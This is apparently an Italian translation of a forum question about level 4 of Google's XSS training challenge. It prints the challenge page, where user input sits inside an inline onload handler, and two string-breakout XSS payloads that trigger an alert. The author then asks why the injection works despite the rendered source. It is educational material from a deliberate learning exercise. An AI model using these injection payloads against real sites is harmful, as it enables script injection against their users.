AVVISO SPOILER: questa domanda contiene una risposta a uno dei problemi della Sfida XSS di Google ! Per favore smetti di leggere ulteriormente se non sei interessato a conoscere la risposta in questo momento.
Sono in grado di ottenere il livello 4 della sfida , tuttavia, non so ancora come esattamente l'exploit sta funzionando. Quello che segue è il codice della sfida XSS di Google - Livello 4:
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<script>
function startTimer(seconds) {
seconds = parseInt(seconds) || 3;
setTimeout(function() {
window.confirm("Time is up!");
window.history.back();
}, seconds * 1000);
}
</script>
</head>
<body id="level4">
<img src="/static/logos/level4.png" />
<br>
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
<br>
<div id="message">Your timer will execute in {{ timer }} seconds.</div>
</body>
</html>
Fondamentalmente, stanno usando il framework Django ( che utilizza una serie di misure di sicurezza contro XSS ). La variabile timer
trasporta l'input dall'utente. L'obiettivo di questa attività è di avvisare un messaggio inviando un payload che può bypassare la sicurezza XSS di Django.
Sono in grado di avvisare un messaggio utilizzando uno dei seguenti payload:
');alert('xss
o
3') || alert('1
Sono in grado di cancellare il livello utilizzando i payload di cui sopra, ma non sono ancora sicuro di dove viene chiamato esattamente il metodo alert ()? Nel gestore onload
OR nel metodo startTimer()
?
Sono confuso perché se controllo l'HTML sorgente della pagina dopo aver inviato il payload, Django sta codificando il payload:
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<script>
function startTimer(seconds) {
seconds = parseInt(seconds) || 3;
setTimeout(function() {
window.confirm("Time is up!");
window.history.back();
}, seconds * 1000);
}
</script>
</head>
<body id="level4">
<img src="/static/logos/level4.png" />
<br>
<img src="/static/loading.gif" onload="startTimer('');alert('xss');" />
<br>
<div id="message">Your timer will execute in ');alert('xss seconds.</div>
</body>
</html>